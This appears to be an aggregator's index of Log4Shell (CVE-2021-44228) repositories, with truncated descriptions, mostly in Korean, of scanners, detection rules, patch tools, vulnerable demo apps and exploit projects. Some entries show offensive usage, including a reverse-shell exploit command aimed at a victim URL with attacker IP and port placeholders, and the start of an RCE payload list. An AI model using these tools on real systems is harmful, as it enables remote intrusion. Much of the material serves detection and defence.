log4j-detect

log4j-detect Простой скрипт на Python 3 для обнаружения уязвимости библиотеки Java "Log4j" CVE-2021-44228 для списка URL с многопоточностью Скрипт "log4j-detect.py", разработанный на Python 3, предназначен для обнаружения, уязвимы ли указанные URL-адреса для CVE-2021-44228. Для этого он отправляе...

vcenter-log4j

VMware vCenter log4j 대응 방법 VMware vCenter log4j 취약점 CVE-2021-44228에 대한 대응 스크립트입니다 VMware KB 문서 참조. 2021-12-13 02:09 UTC - 보안 토큰 및 ID 관리 서비스 추가 2021-12-13 12:46 UTC - 6.5용 PSC 클라이언트 추가 - 아래 참조 VMware는 KB 문서에 링크된 Python 스크립트를 공개했습니다. 초기 버전의 문제점은 해결된 것으로 보입니다. 빠른 해결 방법 vCenter에 SSH 접속 shell 실행 스크립트 ...

Log4j-Updater

Log4j 업데이터 Log4j라는 유명한 Java 프레임워크를 업데이트해야 하는 불가피한 필요성으로 인해 많은 기업들이 여러 대의 컴퓨터에서 동시에 Log4j를 업데이트해야 하며, 이는 시간과 비용이 소요됩니다. 바로 여기서 Log4j 업데이터 가 등장합니다. log4jupdater.sh는 시스템에서 사용할 패키지 관리자를 자동으로 감지하고, log4j 저장소가 있는 경우 업데이트하여 최신 버전을 설치함으로써 여러 대의 머신에서 업데이트 프로세스를 자동화 하는 것을 목표로 하는 간단한 bash 스크립트입니다. 호환성 스크립트와...

log4j

CVE-2021-44228 일명 LOG4J 이것은 Wortell의 공개 저장소로, Log4j 관련 취약점에 대한 정보, 링크, 파일 및 기타 항목을 포함하고 있습니다. log4j 2.17.0 의 취약점으로 인해 이제 버전 2.17.1 로 패치하는 것이 권장됩니다. 알려진 CVE CVE| 점수| 설명 ---|---|--- CVE-2021-44228| 10.0| Log4j 2.0-beta9 2.14.1 버전에 영향을 미치는 원격 코드 실행 취약점 버전 2.15.0에서 수정됨 CVE-2021-45046| 9.0| Log4j...

CVE-2021-44228_IoCs

CVE-2021-44228IoCs 여러 공개 소스를 기반으로 한 log4j 프레임워크 취약점 CVE-2021-44228 log4shell에 대한 공개 IoC 목록입니다...

log4j2-CVE-2021-44228

샘플 Log4j2 취약 애플리케이션 CVE-2021-44228 영향받는 버전: 2.0-beta9 2.14.1의 모든 버전 이 애플리케이션은 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다. Log4j 2.14.1을 사용합니다 spring-boot-starter-log4j2 2.6.1을 통해. 애플리케이션 실행 실행: root@kitploit: Import the project in Java IDE as a maven project Run CVEMainApplication.java as...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 사용법 root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerI...

log4shell-rex

Log4Shell-Rex 아래의 RegEx는 Log4Shell CVE-2021-44228 및 CVE-2021-45046 악용의 지표와 일치하도록 작성되었습니다. 2021/12/21 이전 버전을 실행 중이라면 테스트하고 업데이트하는 것이 좋습니다. 몇 가지 결함을 제거하고 성능을 향상시켰습니다. 이 Regex는 PCRE 호환을 목표로 하지만, re2 및 잠재적으로 더 많은 RegEx 엔진에서도 실행되어야 합니다. RegEx: regex...

Solar-exploiting-log-4j

🔥 Solar Exploiting Log4j - TryHackMe 워크스루 📌 룸: Solar Exploiting Log4j 플랫폼: TryHackMe 난이도: 중간 주제: Log4Shell Log4j 취약점 🧠 목표 Log4j 취약점CVE-2021-44228을 악용하여 원격 코드 실행 권한을 획득하고 플래그를 캡처합니다. 🛠️ 사용 도구 Nmap Burp Suite cURL Netcat Python HTTP Server 🌐 1단계: 정찰 🔍 대상 스캔 root@kitploit: nmap -sC -sV 📌 발견 사항 열린 포트:...

log4py

log4py pythonic한 순수 파이썬 RCE 익스플로잇 - CVE-2021-44228 log4shell 1. 다음과 같은 취약한 서비스를 실행한다: https://github.com/zzzz0317/log4j2-vulnerable-spring-app 2. exploit.py에서 설정을 변경한다. 3. pwn 이는 교육 목적으로만 사용됩니다 주로 제 자신을 위한 lol 약간의 수정 후에나 유용할 수 있습니다. 불법적인 짓을 하면 - 엿 먹어 TODO: 더 많은 버전 유연성을 위해 javac를 통한 컴파일 기능 추가 다른...

Log4JHunt

Log4JHunt Log4Shell CVE-2021-44228 취약점을 위한 자동화되고 신뢰할 수 있는 스캐너입니다. 동영상 데모: 사용법 도움말 사용법은 다음과 같습니다: root@kitploit: $ python3 log4jhunt.py +--------------+ Log4JHunt +--------------+ + Log4jHunt by RedHunt Labs - A Modern Attack Surface ASM Management Company + Author: Pinaki Mondal RHL Research Team...

log4shell-vulnerable-app

Log4Shell 샘플 취약 애플리케이션 CVE-2021-44228 - 두 번 수정됨 이 저장소는 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 포함하며, Log4Shell이라는 별명으로 알려져 있습니다. Log4j 2.14.1spring-boot-starter-log4j2 2.6.1을 통해과 JDK 1.8.0181을 사용합니다. 애플리케이션 실행 다음과 같이 실행합니다: root@kitploit: docker run --name vulnerable-app --rm -p 8080:8080...

log4j2-rce-recap

log4j2 원격 코드 실행CVE-2021-44228에 대한 간단한 요약 요구 사항 maven = 3 java = 8 127.0.0.1:1389에서 실행 중인 ldap이 없어야 합니다. 사용법 maven으로 빌드하세요. root@kitploit: mvn test surefire 플러그인은 두 번 실행됩니다: ExploitabilityTest는 버그의 악용 가능성을 입증합니다. MitigationTest는 vm 속성 -Dlog4j2.formatMsgNoLookups=true과 함께 실행되며 완화 조치의 효과를 입증합니다. 간단히...

log4fix

log4fix 이 도구는 .jar/.war/.ear 파일에서 JndiLookup 클래스를 찾아 제거하여 log4j log4shell 취약점CVE-2021-44228을 탐지하고 수정하기 위한 것으로, 무료이며 제로 의존성입니다. 이 도구는 다음 환경에서 테스트되었습니다: - Linux 32비트 및 64비트 - Windows 32비트 및 64비트 - OpenBSD 64비트 이 도구는 Go 프로그래밍 언어로 작성되었으며, 이는 제로 의존성과 어디서나 실행되는 독립 실행형 바이너리를 의미합니다. 설치 바이너리Windows,...

cve-2021-44228

cve-2021-44228 이는 안후이 대학 "취약점 분석 실험"3학년 가을-겨울 학기 중간 과제 아카이브입니다. 전체 문서는 https://testgames.me/2024/11/10/cve-2021-44228/ 에 있습니다...

CVE-2021-44228-VULN-APP

CVE-2021-44228-VULN-APP 참고: 이것은 log4j 취약점이 실제로 무엇인지 보여주기 위한 취약한 가상 머신입니다, 등등! 설치: root@kitploit: cd CVE-2021-44228-VULN-APP/ docker build -t log4j-shell-poc . docker run --network host log4j-shell-poc 포트 8080에서 수신 대기 중...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 실행 방법 root@kitploit: php log4j.php https://1337.com 요구 사항 PHP CURL PAYLOAD DNS LOG Burpsuite Collaborator 또는 dnslog.cn 사용 페이로드 목록 root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName $docker:imageName...

Log4j-CVE-Detect

Log4J-CVE-Detect このリポジトリには、CVE-2021-44228、CVE-2021-45046、または CVE-2021-45105 に対して脆弱な log4j のバージョンを検出するための YARA ルール一式が含まれています。影響を受けるバージョンに現れるいくつかの特徴を探すことで検出を行います。 このツールは、Docker イメージ、システムパッケージ、ファイルシステムイメージ、さらにはインストールメディアなどのバイナリファイルに対して再帰的に動作します。対応しているファイル形式の完全なリストについては、「どのように動作するのか？」のセクションを参照してください。...

log4shellpoc

CVE-2021-44228 Log4Shell에 취약한 간단한 Spring Boot 애플리케이션 이 CVE-2021-44228일명 log4shell에 대한 개념 증명 애플리케이션은 제 writeup의 일부입니다. 전체 익스플로잇 세부 정보는 writeup을 참조하세요. 지침 실행: root@kitploit: docker run --rm -p 8080:8080 --name log4shell-poc-app ghcr.io/guerzon/log4shellpoc:latest 또는 빌드하고 실행: root@kitploit: docker...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Выразите поддержку - поставьте ⭐️, если вам понравился контент | ПОДЕЛИТЬСЯ в Twitter | Подписывайтесь на меня в 🐱‍💻 ✂️ 🤬 LOG4J Java exploit - трюки обхода WAF и патчей 📝 Описание CVE-2021-44228 работает на: log4j: 2.0 = Apache log4j = 2.14.1 Версии Java уже исправлены: 6u211+, 7u201+, 8u191+,...